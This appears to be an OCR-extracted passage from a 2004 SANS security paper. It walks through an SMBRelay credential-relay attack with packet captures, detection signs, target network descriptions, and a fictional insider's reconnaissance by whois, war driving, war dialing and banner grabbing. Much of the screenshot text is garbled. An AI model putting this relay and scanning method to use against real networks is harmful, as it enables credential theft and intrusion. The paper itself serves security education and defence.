0060 01 00 O4 41 00 00 00 00 01 00 00 Q0 00 00 fd f3 P
0070 00 00 ed 10 da 62 12 3¢ <4 01 4 ff 08 20 00 cd ..., b.< ..L.. .
0080 ce a4 T3 fa ad dé a3 57 00 49 00 4< 00 44 00 00 ....... W .I.L.D
00%0 00 56 00 4% 00 43 00 54 00 49 00 4d 00 00 00 OLILCLT L ILM
£

Fier | | Reset] g
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@ <capturez - Ethereal =1ol x|

File Edit Capture Display Tools Help|
- |Time |Suurce Destination |F'rutucul |Inf0 =
o e RLE s e =
70013196 wictim.wild. com 172.1.1.2 TCP nethios-ssn = 3213 [=wH, ACK]
5 0,013455 172.1.1.2 wictim.wild. com TCP 3213 » nethios-ssn [ACK] Segs=
5 0,015729 172.1.1.2 wictim.wild. com NESS Session request, to WICTIM<Z0O
10 0.015%942 wictim.wild.com 172.1.1.2 MESS pPositive session response
11 0.016%973 172.1.1.2 victim.wild. com MESS pPositive session response
12 0.017634 wictim.wild. com 172.1.1.2 SME Megotiate Protocol Reguest
13 0,018847 172.1.1.2 V'IC‘E'Im wild. com SME Megotiate Protocol Reguest
14 0 3 i Megotiate Protocol R /
~ [ -
&
F'r"lmar‘y pomain: WILD w
Server: WICTIM T
[ [ =
[V [V VT V= TV L 3
ooz of 3a 88 2e f9 67 5018  ........ gr.
0030 00 65 ff 53 4d 42 72 00 0000 &. SMEr.
o040 00 00 00 00 00 00 00 00 L.l oo
Qos0 00 00 11 05f 00 03 32 00 L. caeaas 2.
ouen 01 00 00 00 00 00 fd 3 SOoiNpo0 Doooooos
ooro cd 01 4c £F 08 20 00 @E ..... b. < L.. .HA
Q08D 00 49 00 4c 00 44 00 00 AR -I.L.D..
oS0 00 45 00 4d 00 00 00 OILCLT LILML ..
£
Filter: | J Reset| Apply |Cha||engefResp0nse Encryption Key (far LAM2.1 dialect) (smb.encryption_key]), 3 byt
Step 3:

Command: SMB_COM_SESSION_SETUP_ANDX (anonymous null session
connection to IPC$)

= Screen 1: Password Length: 1 0

= Screen 2: Response: Session Message Length=140+4

= Exploit action: Relay the packet back to the source

=[O x|

File Edit Capture Display Toals Help |
Mo, . |Time Source Destination |F'rotoco| |Info =

16 0.025%419 victim.wild.com COACH KRES TGES-REQ

17 0.030131 CoAaCH \.r'lct'lm wild. com KRES KRE-ERROR

8 : m.wild. com ndbodlo ¢ :

1% 0.035781 172.1.1.2 wictim.wild. com SME Session Setup Andx Request I} J

20 0.037444 victim.wild. com 172.1.1.2 SME session setup andx Response;

21 0.039107 172.1.1.2 victim.wild. com SME session setup Andx Response;

22 0.039%9684 wictim.wild. com 172.1.1.2 SME Transaction2 Request GET_DFS_

23 0.042351 172.1.1.2 victim. W'l'ld cam SME Transaction2 Reguest GET_DFS_ /
I I =

[
Sesswn Key OxOOOOOOOO [
; L
lecude Password Length: 0
Reserved: 00000000 Fil
-l [ -
0000 00 03 47 30 BG 2e 00 10 Sa T2 Se ef 08 00 45 00 ..G9.... Z.A...E.
0010 00 ea VB a% 40 00 B0 06 00 00 ac 01 01 05 ac 01 N - T
0020 01 02 07 la 00 8b a2 &4 b0 aa 8e 2e 58 1b 5018  ........

0030 ff 92 %a =4 00 00 00 00 Q0 he £F 53 4d 42 73 00 OOZ40d 000
0040 00 00 00 18 OV <8 00 00
0050 00 00 00 00 £ fe 00 00
0060 41 32 00 00 00 00 00 00
0070 00 dd4 00 00 00 4d 00 00
008D 6e 00 64 00 &6F 00 ?? 00

| I

ANGA 3N A0 30 AN 200N /
Filter: | J Reset| Apply |Length of ANSI password (smb ansi pwlen] 2
19
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@ <capture = - Ethereal - IEI|£|
File Edit Capture Display Tools Help |
MNo. . |Time |Suurce Destination |F'rutucul |Inf0 =
16 0.025419 victim.wild. com COACH KRES TGS-REQ
17 0.030131 COACH wictim.wild. com KRES KRE-ERROR.
18 0.033354 wictim.wild. com 172.1.1.2 SME Session Setup andx Reguest, U
Q. victim.wild. com SME session setup and< Reguest, U J
; vild. com 172.1.1.2 SME = on up Ar Re
21 0.039107 172.1.1.2 victim.wild. com SME session Setup andx Response;
22 0.039964 victim.wild. com 172.1.1.2 SME Transactionz Regquest GET_DFS_
23 0.042351 172.1.1.2 wictim.wild. com SME TransactionZ Request GET_DFS_ /
~ [ -
=™ Iﬂ\j . [
Length: 140 j
B sME (Server mMmessage Block Protocol)
SME Header
0O cncedmnmnm Soatim dndde Rachaneas COw727 J'Ir
I [ —
0030 fe 72 5a b2 00 00 00 00 [ M. SME=s =
Qo400 00 00 00 98 03 80 00 00 00 OO0 Q0 00 00 00 00 00 ... ceenasas
0050 00 00 00 08 FF fe 00 08 <O d3 03 75 00 7d 00 OO0 ........ AT
Qoad 00 54 00 00 57 00 6% 00 LToaw i nadooow,
Qo7 VY3 00 20 00 33 00 Z2e 0O T.o.5... Oo.awli.
0080 62 00 &4 00 &F 00 77 00 n.d.o.w. s. 2.0,
Qo0 30 00 30 00 20 00 4c 00 0.0 L. AN LM,
00ald 61 00 &e 00 61 00 &7 00 a.M.a.9. B.r.. ..
00b0 49 00 4c 00 44 00 00 03 T o
ANCn 4G 50 4T A0 A0 00 TP £
Fiter| ] Reset] Aoy
Step 4:
= Command: SMB_COM_TRANSACTION2v (DFS referral request)
= Screen 1: Request type: Session message Length=98+4
n

error)

Screen 2: Response: Session Message Length=35+4 (DFS referral request

Exploit action: Relay the packet back to the source

& =capture> - Ethereal — Ol x|
File Edit Capture Display Tools Help |
Mo, . [ Time Source Destination |F'r0tocol ||an =
. 030131 COACH victim.wild.com  KRES KRE-ERROR
L 033354 wictim.wild. com 172.1.1.2 SME session Setup Andx Request, User: anonymc
L036781 172.1.1.2 victim.wild.com  SMBE session Setup Andx Request, User: anonymc
L 037444 wictim.wild. com 172.1.1.2 SME Session Setup Andx Response; Tree CDnnec‘tJ
035107 172.1.1.2 wvictim. wild. com session Setup Andx Response; Tree Connect

ctim.wild. com 1 1.1.2 tion2 Reguest GET_DFS_REFERRAL, F

L 042351 172.1.1.2 victim.wild.com  SMBE Transaction2 Reguest GET_DFS_REFERRAL, Fi
L 043502 wictim.wild. com 172.1.1.2 SMEB Transaction2 Response GET_DFS_REFERRAL, E /

| =

HFTags: 0x00 &

| i
B sME (Server Message Block Protocol)

B sME Header /
-l [ =
[V U oE 0 dl 40 Uy ow [V I L VN E W L v AL, I
0020 01 02 OF 1a 00 8h a2 ed4 bl 6C 8e Ze 58 ab 5018  ........

o030 ff 02 53 88 00 00 00 QO ff 53 4d 42 32 00 e
o040 00 00 00 18 OF <8 00 00 00 00 00 00 00 00 00 00 ...,
o050 00 00 00 08 fo 06 00 08 00 d4 of 1e 00 00 OO0 QO ........
Q0ad 00 00 10 00 o0 Q0 00 00 00 00 00 00 00 le OO0 44 ...,
Q070 00 00 Q00 00 00 01 00 10 00 21 00 00 00 05 03 00 ........
Q080 5c 00 31 00 37 Q0 32 00 Ze 00 31 00 2e 00 31 OO Amdle 7
QOog  2e 00 32 00 5¢ 00 82 Q0 24 00 Q0 00 L2 T,
/

J Reset M|
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{& <capture> - Ethereal -0l x|
File Edit Capture Display Tools Help
Mo, . |Time Source Destination |F'rotoco| |Info =
17 0.030131 CoacH victim.wild.com  KRES KRE-ERROR
18 0.033354 victim.wild. com 172.1.1.2 SME session Setup Andx Request, User: ananymc
1% 0.036781 172.1.1.2 victim.wild.com  sMB session Setup Andx Request, User: ananymc
20 0,037444 victim.wild. com 172.1.1.2 SME session Setup Andx Response; Tree CDHHECTJ
21 0.035107 172.1.1.2 victim,wild. com  sSMB session Setup Andx Response; Tree Connect
22 0.039964 victim.wild, com 172.1.1.2 SME Transaction2 Reguest GET_DFS_REFERRAL, F1
23 0.042351 172.1.1.2 victim,wild.com  SMB Transaction2 Reguest GET_DFS_REFERRAL, F1
im.wild. com 1 1.1.2 2 Re SET. EFE |
[~ [ =
Message Type: Session message &
Flags: Ox00 L
B sME (Server Messade Block Protocol) £
| -
o000 00 03 47 39 86 Ze 00 10 5a 2 Se ef 08 00 45 00 LG9 Z.A, . LE. A
0010 00 4f 78 ac 40 00 830 06 00 OO0 ac 01 0l 03 ac ol OxX. B0 soiuenan
0020 01 02 00 8b 0Oc 8d a2 e 10 33 8e Ze fa 89 5018 ........ 3. P,
0030 fe 0Oc 5a 49 00 00 00 OO ff 53 4d 42 32 Qe 21 . HE&. SMEZ.
0040 00 00 CO 98 03 <0 00 Q0 00 00 Q0 00 00 00 00 00 ..o eive serenaan
0050 00 00 00 08 fo 06 00 OB 00 dd4 00 00 00 L. oo
Fi
Fiter | /] Reset] Aoy
Step 5:
= Command: SMB_COM_SESSION_SETUP_ANDX (user: wild\user)
= Screen 1: Request type: Session Message length=250+4
= Screen 2: Case insensitive password, Case sensitive password,
OS, Lanman type, Domain
= Exploit action: Relay the packet back to the source
& =capture> - Ethereal — Ol x|
File Edit Capture Display Tools Help |
Mo, . |Time Source Destination |F'r0tocol |Inf0 =
R T W T TR T L » Lo LW ey TT arrsde=- T TOTT H.l‘_'Ln|Lrll:‘ T AET _DF S _REFERRAL, =1
23 0,042351 172.1.1.2 victim.wild.com  sMB Transaction2 Reguest GET_DFS_REFERRAL, Fi
24 0.043502 victim.wild. com 172.1.1.2 SMEB Transaction2 Response GET_DFS_REFERRAL, E
25 0.044483 172.1.1.2 victim.wild, com SMEB Transaction2 Response GET_DFS_REFERRAL, E
26 0,056298 victim.wild. com COACH KRES TES-REQ J
0. 060575 COACH victim.wild.com  KRES KRE-ERROR
05 Jctim.wild., com 172.1.1.2 Jon setup andx Reguest, User: WILDYUS
L 071729 172.1.1.2 victim.wild, com SME session Setup Andx Request, User: WILDMWUS
30 0,073036 victim.wild. com COMCH DCERPC  Reguest: call_dd: 2 opnum: 2 ctx_id: © /
-1 I =
Message Type: Session message j
Flags: 0x00
/
[~I | o~
0030 fTe db 5B 20 OO0 00 00 00 Tf 53 4d 42 73 00 [ . M. =MEs &
0040 00 00 Q00 18 07 <8 00 00 00 00 00 00 00 00 00 00 ... ... cevenenn
0050 00 00 00 00 ff fe 00 OO0 40 d4 Od 75 00 ca 00 04  ........ &, ...,
Qo&e0 41 32 00 01 00 00 00 00 00 18 00 18 00 00 00 00 A e e
0070 00 d4 00 00 00 8d 00 83 d4¢ 95 4c 47 20 85 3h Ze ..., L.LG .;.
Q08B0 e2 2a e9 23 od 2¢ 82 9e 48 5T 39 0c 79 68 cc f6 wo#., .. H_9.vh..
00590 d3 9F <2 6a 3c b5 bc 51 d2 Fd 97 56 ef bl cO &S i P PV
00an  bb a8 87 4a 07 OF 77 00 75 00 73 00 65 Q0 72 00 P P - T
O0bo 00 00 57 00 49 00 4 00 44 00 00 00 57 00 6% Q0 R s R o T
nnet fa nn A4 AN AF NN T7 A0 T AN 20 AN 27 AN 20 N nd now < 7N Fi
Fiter|| ] Reset] Apply
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@ <capture: - Ethereal i ]
File Edit Capture Display Tools Help |
Mo, . |Time Source Destination |F'r0tocol |Inf0 K
PR ==L T W T TR T L Lol i =] T arTsd T THETT REUUECZL GET_LUFo_REFERRAL, F
23 0.042351 172.1.1.2 victim,wild. com  sSMB Transaction2 Reguest GET_DFS_REFERRAL, F1
24 0,043502 victim.wild. com 172.1.1.2 SME Transaction2 Response GET_DFS_REFERRAL, E
25 0.044483 172.1.1.2 victim.wild, com SME Transaction2 Response GET_DFS_REFERRAL, E
26 0,056298 victim.wild. com COACH KRES TES-REQ _J
27 0.060575 COACH victim.wild. com  KRES KRE-ERRCR
2 wictim.wild, com L1.1.2 SMB Ton Setup Ar equest, User: WILD“U
29 0,071729 172.1.1.2 victim.wild, com SMB session Setup Andx Request, User: WILDYuUs
30 0,073036 victim.wild. com COACH DCERPC  Reguest: call_id: 2 opnum: 2 ctx_id: © /
N [ -
Unicode Password Length: 24 [
Reserved: 00000000
B Capabilities: 0x000000c4
ByTe Count (BCC): 141
ANST Password: 8 SEJEEZZA BE. ..
Unicode Password: FED39FCZ6ASCEIBCY1D27D9756EFBLCO. ..
ACCOUNT : Uuser
Primary Domain: wILD
Mative 05: windows 2000 2185
Matiwe LadW Manager: windows 2000 5.0
Extra byte parameters
B Tree Connect andx Reguest (0x75)
word Count (wCTh: 4
Andxcommand: Mo further commands
Reserved: 00
Andxoffset: 250
B Flags: 0x0008
Password Length: 1
Byte Count (BCC): 37
Password: 00
Path: “MW172.1.1.2M1%
service: 77777 W
| -
Qov0 HA Ay
QO8O0 LK. .. .
Q090
00al PR P - P o
aobo LWL ILL. DLWl
000 n.d.oow. s, .2.0.
oodo 0.0, 2. 1.%9.5...
00ed 57 00 69 00 G6e 00 64 00 6f 00 77 00 73 00 20 00 w.i.n.d. o.w.s. T
Filtar: | J Reszet| Apply lANSI Password (smb.ansi_password), 24 bytes
Step 6:
Password hash written to disk. Relay IP address added to interface. Bound to port
139 on address 192.1.1.1 relaying fo victim host.
Signature of attack
As SMBRelay exploit performs legal NetBT and SMB connections, IDS Network
Sensor wouldn't be able to recognize packet relaying. The exploit causes the
following local process to be started: smbrelay.exe. This process can be viewed
within Task Manager, as shown:
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=lof x|
Eile: Cptions  ew Help
&pplications  Processes l Petformance I

Image Mame ! F'IDJ CPLI J CPL Time:| Mem Usage -

WINWORDEXE o84 00 71556 29,320 K

WinMgmt.exe 912 oo 0:00:07 Fal K

WIMLOGOMN, EXE 180 00 0025 3,348 K

pdater I, exe 1100 oo 00033 1,936 K

TASEMGR, EXE 1220 00 [EHuEHul] 2,924 K

System Idle Process o 99 117:50:25 16 K

Swskem b3 oo 0340 T2k

sychost, exe 1416 oo 0:00:01 145 K s

svchost,exe 936 uli} 00005 1,196 K

svihost, exe 440 oo 0:00:03 3,440 K

sychosk,exe 400 oo o1z 2,148 K

spoalsy  Exe 495 oo 00035 2,160 K

SMTray.exe 1152 uli} 0000 44 K

SMSS.EXE 136 00 :00:00 £ K

cmbrelay . exe PATE [:00: 00

shskat.exe oo 0:00:03 740 K

SERNICES,EXE z2lz 00 00100 3,400 K

regsve, exe 816 oo 0:00:00 104 K

RCOMNSYCEXE so0 0o :00e00 200 K _:]
End Process |

iF‘ru:u:esses: 44 iCP'LI sage: 2%

i_r'-“lem |lzage; 309020k | 733452E

or using the process to port detection tool Fport v2.0, as shown:

Select C:\WINNT  system32' cmd.exe

Microzoft Windows 2000 [Version 5.00.21951
C(C» Copyright 1985-2000 Microsoft Copp.

C:s>fport

FPort vZ2.0 — TCP-/IFP Process to Port MHapper

Copyright 2000 by Foundstone.

http:/Avww.foundstone.com

Processz Port
suchost —» 135

cprid
epridoexe
g32 HETask

Inc.

Proto
ICP

Path

CsHIHNT s
CasHIHNT s

C:~Program

C:“Program
C:sHWINNT s

stemd2xsvchost.exe

Files“CheckPoint~CPShared ~NG~hbin
Files“CheckPoint~CPShared~NGxbin

stemd2 METack.exe

Also, the following file will exist within Windows Explorer:

e smbrelay.exe

The smbrelay.exe process can be stopped and .exe file deleted from the drive.
Another way to eliminate this exploit is to use anti-virus software on each wokstation
and server. The SMBRelay program is detected as Trojan Exploit-SmbMiM and
eliminated immediately with the antivirus software VirusScan 7.1.0 from Network
Associates Technology, Inc.

© SANS Institute 2004,
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% ¥irusScan On-Access Scan Messages

File Yiew Options Help

—%iruzScan Meszage
@ Meszage VirusScan Alert! =
= |
[ate and Time: 27042004 3:54:03 :
Pathnarne : C:hambrelay. exe BVE e |
Detected A Exploit-Smbhdikd Remove Meszage |
State @ Deleted
i =E Cloge: Window |
Mame I I Folder I Detected Az I Detection Type I Status I Date and Time I Application I L
i % smbrelay.exe Iz Exploit-Smbkditd  Trojan Deleted 27042004 3. explorerexe

3. The Platforms/Enviroments

The Company ABC was a software developer company, and the infrastructure of all
its networks was based on Microsoft Windows 2000 AD. All the servers were based
on Windows 2000 Advanced Server/Server with SP4 platform, but workstations on
Windows 2000 Pro SP4 or Windows XP SP1 platforms. Each dial-up client had a
corresponding LAN workstation.

Victims platform

OS: MS Windows 2000 Pro with SP4

Applications: MS Outlook 2000, Internet Explorer 6.0, MS Office 2000 applications,
Word , Excel, Access and PowerPoint.

Anti-virus software: VirusScan 7.1.0, Scan Engine 4.3.20

Hardware:

SEN Multimedia Computer System

256 MB RAM

37 GB disk drive (one logical disk/partition:C)
Intel(R) Celeron(R) CPU 1.7 GHz

Intel(R) Pro100/VE Network Connection NIC

Target Network

1. Wireless 802.11b/g network for

ABC users NAS: AP Avaya Wireless AP-3
RADIUS: MS IAS/Radius server
Authentication: 802.1X with PEAP-MS-CHAPV2
Ecryption: WEP with 104 bit keys, rekeying interval
900 sec.

1.2 VPN over wireless NAS: Firewall Checkpoint FW-1
AAA: Tacacs+ server CiscoSecure ACS 2.6
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VPN authentication and key exchange:
Hybrid authentication mode for IKE
VPN encryption: IPSec

2. ABC Internet user's access
to LAN resources Client: CheckPoint VPN-1 SecureClient
NAS: Firewall Checkpoint FW-1
AAA: Tacacs+ server CiscoSecure ACS 2.6
VPN authentication and key exchange: Hybrid
authentication mode for IKE
VPN encryption: IPSec

3. ABC dial-up user's access

to LAN resources NAS: MS RRAS or dial-up server Cisco AS5200
ACS: MS IAS/Radius or Tacacs+ server
Authentication: MS-CHAPv2 or MS-CHAP
Encryption: None

3.1 VPN over PPP Client: CheckPoint VPN-1 SecureClient
NAS: Firewall Checkpoint FW-1
AAA: Tacacs+ server CiscoSecure ACS 2.6
VPN authentication and key exchange:
Hybrid authentication mode for IKE
VPN encryption: IPSec

4. XYZ user's access to the

PARTNER domain and database

located in ABC DMZ Tunnel : ABC CheckPoint VPN-1 gateway and
XYZ Checkpoint VPN-1 gateway
User authentication: Kerberos V5 AD in domain
PARTNER
VPN authentication and key exchange: IKE with
signatures
VPN encryption: IPSec

5. Non-ABC user's access to

medium- sensitive information  Client: Microsoft IE 4.0+/Netscape Navigator 4.0+
Web server: 11S 5.0
IIS Authentication and encryption : Anonymous
user, Web server certificate/private key and SSLv3

6. Non-ABC user's access to

high-sensitive information Client: Microsoft IE 4.0+/Netscape Navigator 4.0+
and Entrust/Direct 6.0 client proxy
Web server: IS 5.0 and Entrust/Direct Server
Proxy 6.1
Authentication:  Entrust/Direct  Server  Proxy
certificate/private key and Entrust/Direct 6.0 client
proxy certificate/private key, SPKM-2 mechanism
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Encryption: CAST-128 algorithm

7. ABC administrative access to

LAN resources Client: PUTTY 0.53b, SecureCRT 4.1 or any free
SSH client software
Server: WIinSSHD 3.07

Authentication: Windows 2000 domain
username/password and SSH server public/private
key

Encryption: 3DES-CBC, HMAC-SHA1

Server platforms

e OS: Windows 2000 Advanced Server/Server with SP4

e Windows 2000 infrastructure: Windows 2000 DC, IIS 5.0, MS SQL 2000, MS
ISA Server,MS Exchange 2000;

e Specific software: Entrust/Direct Server proxy 6.1, PKI on Entrust/Security
Manager 7.0, WinSSHD 3.07

ABC Networks

=
ct Client

SSLv3\cl

Entrust/Dir

ABC Branches
-1 SecureCl
VPN-1 ecureN\ (172.16.224.0/19) ssHp ot
5'02.11
b/ T
9. 8027 ABC Wireless network ‘E‘
(172.16.30.0/24)

ient
VPN-1 SecureClient

Mallo
NetCat

|- ]

IAS/Radius  Entrust/PKI

ABC Server Farm |§|
(172.16.20.0/24) <=

S
g ABC AD _/ N \
@ 7200 '
’ ﬁ o N g
! 9@0\3\ %

S
= %
Alice workstation N
(\\pirate- 172.17.1.2) E |E ‘
ABC LAN (172.17.0.0/16) = NAS

TI=

80.10) RRAS/
) Cisco AS5200

Internet

= (172.16.40.0/24)
-

EntrustRirect Server Proxy
(172.16.400/194.154.80.20) (172.16/40.30/192.154.80.30)

Mallory

VPN-1
ecureClient AD
Radius/Tacacs+,

Fig. 2 Target ABC network

Source network

1. XYZ Internet user's access
to LAN resources Client: CheckPoint VPN-1 SecureClient
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NAS: Firewall Checkpoint FW-1

AAA: Tacacs+ server CiscoSecure ACS 2.6

VPN authentication and key exchange: Hybrid
authentication mode for IKE

VPN encryption: IPSec

2. XYZ dial-up user's access

to LAN resources NAS: MS RRAS or dial-up server Cisco AS5200
ACS: MS IAS/Radius or Tacacs+ server
Authentication: MS-CHAPv2 or MS-CHAP
Encryption: None

2.1 VPN over PPP Client: CheckPoint VPN-1 SecureClient
NAS: Firewall Checkpoint FW-1
AAA: Tacacs+ server CiscoSecure ACS 2.6
VPN authentication and key exchange:
Hybrid authentication mode for IKE
VPN encryption: IPSec

3. Access from inside XYZ to the

Internet over VPN

(administrators only) Client: CheckPoint VPN-1 SecureClient
VPN authentication and key exchange: Hybrid
authentication mode for IKE
VPN encryption: IPSec

4. XYZ user's access to the

PARTNER domain and database

located in ABC DMZ Tunnel : ABC CheckPoint VPN-1 gateway and
XYZ Checkpoint VPN-1 gateway
User authentication: Kerberos V5 AD in domain
PARTNER
VPN authentication and key exchange: IKE with
signatures
VPN encryption: IPSec
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XYZ Networks

I

X
VPN-1 SecufgClient
XYZ Branches
(192.168.16.0/20)

Internet

VPN-1 SecureClient =
(192.168.222.14) AD

XYZ Lan (192.168.208.0/20)

=

IAS/Radius

Tacacs+

X %
Ciscd 7200 N XYZ VPN-1
< SecureClient

?
@ ABC Network

NAS Vo,
XYZ DMZ (192.168.12.0/24) RRAS/ b
Cisco

AS5200

Dialup Client

Fig. 3 Source XYZ network

4. Stages of attack

4.1 Reconnaissance

The Company ABC and Company XYZ are business partbers. The Company ABC
develops sowftware, the Company XYZ distributes this software. In order to deliver
the developed product to the distributor a closed Intrenet communication channel
has been established between both companies using joint Checkpoint VPN-1
technology. The companies use this Checkpoint product for their own needs as well.
They provide connections with their branches and protect the communication
channels of dial-up clients. In the Company XYZ this VPN-1 infrastructure is
maintained by senior FW administrator Mallory, who has not got a promotion and
salary raise for several years. A new version of software has been developed in the
Company ABC which has not been launched on the market yet. Mallory decided to
steal this new software from Comapny ABC in order to distribute it illegaly in the
black market and receive a substantial sum of money for it.

e Whois Databases

The Whois distributed databases that provide this information through the Internet
maintenance sites are:

ARIN (American Registry for Internet Numbers) for IP blocks in the America

RIPE NCC (Reseaux IP Europeens Network Coordination Centre)

APNIC (Asia Pacific Network Information Centre)

Mallory prefer RIPE NCC www.ripe.net
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a Search Results for "www.latnet.lv’ - Microsoft Internet Explorer provided by Latvijas Banka -8 EI

Eile Edt Mew Fa:

. Toals |

Giback + = - (D [2) G| Dmearch [EiFevartes medis of | B S B - 5 44

Agdr'ess’l@ c-headifoater=ncc-footekerms=wwwy, latnet , lvBrecord-type=paragraphBsubmit=5 archboolean=andtindsx =ripedbBshow-context=1&max-results=100&page-results=10 j f"Gct_ | Links **

-

R 'pe homepage | what's new | whois db | search | site map | f.0.q.
ccC

Searchfor,  [www.latnetly Search Raset |

= Context ™ Substrings | Misspelings 7 Case-Sensitive

e

Displaying 2 objects in 1 page.

1 inetnum: 169.148.0.0 - 159.148.266.255 Size: 457h

inetnurn: 159.148.0.0 - 199,148 255 255
netname: LATHNET

descr: Internet Service Provider

descr: Riga, Latvia

country: L

admin-c: GBBZ-RIPE

tech-c: EG1493-RIPE

tech-c; UH24B8-RIPE

rev-sry: nsz.latmet v

rev-sry: nsz2.lamet.ly

rey-srv. ns.ripe.net

FEY-5rv. SUNiC sunet.se

rev-sry: kih.se

status: ALLOCATED UMSPECIFIED
remarks: Website at http Awwver. latnet.lv
remarks: ABUSE reports mailfo: abuse@obscured-domain
notify: hostmaster@obscured-cdomain
mnt-hy. AS2588-MNT

& T [ memer

and Uwhois.

2} Welcome to uwhois.com - Microsoft Internet Explorer provided by Latvij

Flle Edit Wew Favorites Tools  Help |
S Back » o=h - @ ' ot | @’-Sﬁarch [l Favarites @Mﬁdia ®| %’ = b E {5y

Address @http:,l',l'www.uwhois.com,l'cgi,l'whois.cgi?User=N0.¢\ds&query=de|ﬁ.Iv j ﬁ(')h)Gcl Linj<sl”

Search multiple Generic and Country Code Top Level Domains

Thiz iz the RIPE Whois server.
The ocbjects are in RP3L format.

P

A

Rights restricted by copyright.
See http://www.ripe.net/ripence/pub-services/db/copyright . htil

e

an

The ocbject showh helow iz WOT in the RIPE database.
It has been obtained by gquerying a remote Server:
[whois.nie.lv) at port 43.

To see the object stored in the RIPE database

use the -R flag in your dquery

.

A e e

A

REFERRLL 3TART

a0

Information from TLD .1lv whois service.
% Please visit http://www.nic.lv/DN3/ for more information.

an

domain: delfi.lv
descr: Lf3 Delfi
tech-o: SE79-LUMII
admin-c: 23317-LUMII
NEEerver: dns.parks. lv

NSEerver: ns3d.delfi.lv -
4] | »

& ’_ ’_ ’_ |4 Internet 4
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e Ping and nslookup

Mallory used simple host-to-IP address resolution tools like ping and nslookup.
Nslookup is a program that could be used to query the name servers for information
about different hosts and domains. Mallory gathered information about the name
servers, web servers and mail servers.

Cinrping I
Fing ing I - ith 3% hytes of daras

Hiefi by Fisnm gtes =l camediles: T1L=1EE
Feply Tram hyte 2 tinm :
Heply fiom byiag=32 Li .

Reply fam heapr e s =32

1 Erip tines

imar = Onz, Maxdmon = Gms o Aue

4.2 Social engineering

Every computer user has an individual local phone number in ABC. Mallory got the
Company's ABC local phone number list from FW administrator in ABC. All computer
users are listed there in the following form:

First name Last name phone_number

From mailing list Mallory got information how to form users e-mail address:

first name.last name@abc.com

Windows domain loginnames created the following:

first_name|first_chaharacter_of last name example: Jonh Smith  johns
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4.3 Scanning

The objective of the scanning phase is to find machines that are reachable and the
ports open on them. Guessing the OS and applications running on the servers is
also part of scanning. All this information is useful for deciding which servers to
attack and what exploits to use. As the of location interested Company ABC was in
the same large city as XYZ company, Mallory started the scanning phase with war
driving.

e War driving

There are number of tools available on the internet for wireless LAN discovery(war
driving). Most popular and easy to use is NetStumbler 0.3.30 for Windows
9X/2000/ME/XP: As the wireless channel was WEP ecrypted and the key was
changed after every 900sec., Mallory did not obtain any useful information to break
into the ABC LAN network.

1. Hetwaris Stumbier - (240551174079

i P Bt pee Do 0 -
o = B - i
= Chimaraks 3 | ES0 | Flanms | Chaa | Wandar Tyrs | Enzropk I = I Siga i g
=k S0 FOICIDEATES [3 Agarn [Lutesl . AF  WEF 1 ] a0
-L Ll ] e 11 Ao [Lucosl. AF WEF 11 =7 RLE I
R AR 002 20 ESATDE 1 Acane (Lucos. AF WEF -8 RLE I
& 0I0EI0AAA05E | @e0I0220EA4C _ 3 Aopare [Lucmaf . AP WEF 11 54 3 i

W LA
= 4k 13
W NNNFEIDEAA S
3 T Fikis
gt EncovphonOH
ﬁ EncryptanTn
i S5
i 1HES [Paag
i’ CF Folsbic
1 Shot Prsambls
i Dotauh SEID

Saac B 3 R e 370 1 Danbied

e War dialing

There are a number of tools available on the Internet which dial through the
sequence of phone numbers provided and access the answering tone to determine
whether an interactive session can be obtained. Some popular tools are THC-Scan,
Toneloc, ModemScan, PhoneSweep etc. Mallory choose THC-Scan 2.0 as the war
dialer and dial sequential numbers from a range changing the last tree digits.

WINNT  system32h cmd.exe

Microsoft Windows 2000 [Veprsion 5.00.2195]
CC» Copyright 1985-2000 Microsoft Corp.

C:xded ¥

C:sPinstalls*cd phone®

C:tinstallssphone_scan>thc—scan #M:371-7-123HER
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EFl {C:\linstalls\phone_scan} - Far

= FINAL = | THC-SCAN v2.00 | * FINAL =

I &
BIG thanks and greets to everyone out there vho tested.
reported bugs or ideas and sent compliments ;-2

Greets fly out to :
Scavenger, Dr. Fonk,. Hindmaniac, ZEhart. Dr. Fraond, Fyodor
Coder. Solar Designer. Tick. GemFire. E1 Griton. JFF. Onega
Netguru, Giemor. Plasmo+Wilkins. And: #bluebox. ADM. Julia

For comments,. bug reports. dideas, wishes and flames :
email to —* vhlreptile.rug.ac_be <{-
r——[Operation: Mindcrime ]l —

Thank you for abusing a L[THC] pruduct.H

[Cc» 1998 by van Hauserl
Exiting with Error Level 20

IC:%tinstallssphone_scan>

After connection to a discovered modem, Mallory tried to guess
usernames/passwords but unsuccessfully. Mallory determined that the Company
ABC supports dial-up connections for remote access users.

e TCP port scanning and banner grabbing

Using sl.exe tool Mallory can determine which ports on the firewall are open. He
discovered some publicly available addresses and ports. He also paid attention to

194.154.80.10 tcp443
194.154.80.20 tcp80
194.154.80.30 tcp22

Mallory accomplished this by connecting to a port. The service immediately gave
back its version, and even the underlying operating system. Mallory should have
been able to use Netcat, nmapwin, ScanLine or Httpprint to scan a certain range of
ports and report back on those services. Using http fingerprinting tools Httpprint
0.200, Mallory got information about Web server.
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[ heprant versonozo0 | SIEix

- Irput File

i 3
|l:k'm:|_E;-q:-os:edl.l:h3_FTt:lﬁinn‘\-Hli:-rhhhlu:-riri;_ZIJD‘\'.\irﬂzl.lnwl.tﬂl (| Load I - ::rbal:- x
— Sigriature Fle : ‘l
IE \Hackno_Expozed\Chi_FrofiingiHbtpntshitpnni_200wsindis ﬁ.‘,l
w
| H | Port I | Banner Repoited | Barnes Daduced | Conf | |

Iiu ITEN |

|dtescasiE=IT275.0

LI AR SR Ee NI I RAC SR ICAOC S R ICADS SN TSR N2 PET A kR ZOLILOE
EATRATE LIRSS RO R bR bR L ACDI T ELICRET 1L ISR 52110 NACS
EICERSIIEMCERSIEXEAAIEE ICAOCIRICEARI 1T I VAR TR IR 2CERAZ11C0ACS
EICEA NI IR ACER NP S ICIACAE S I A2 IR ICEAS R TAEOEC I I4ED RO IE CHA92S
EE0ECIIIEEOICIIIATIIFEV0ETEL PARE ETAIC 2]

WlecoinfE-I1573.0 RSF.MEI: 89 33.0L ﬂ
WlicoasfE=IT875.1: E1 33.61
wilcsoasfE=ITE{5.0: T4 15.I0

wilamossfE-ITE{4.0, TH 25.I0

elomopec-TTE{6. 0, &6 12,11

Hiceosefr-TTE/IREScan: 58 it L1

ebaeaye-Eabeepeliasa. 1 32 7.17 LI

i - — IRl T |

IE ‘Hacking_Expozed\Cha_FrohingiHitpeintshitpnnt_200fwani2in " oo ‘ m _I Clean Al | Ophionz
|retprine has besn completed. . |

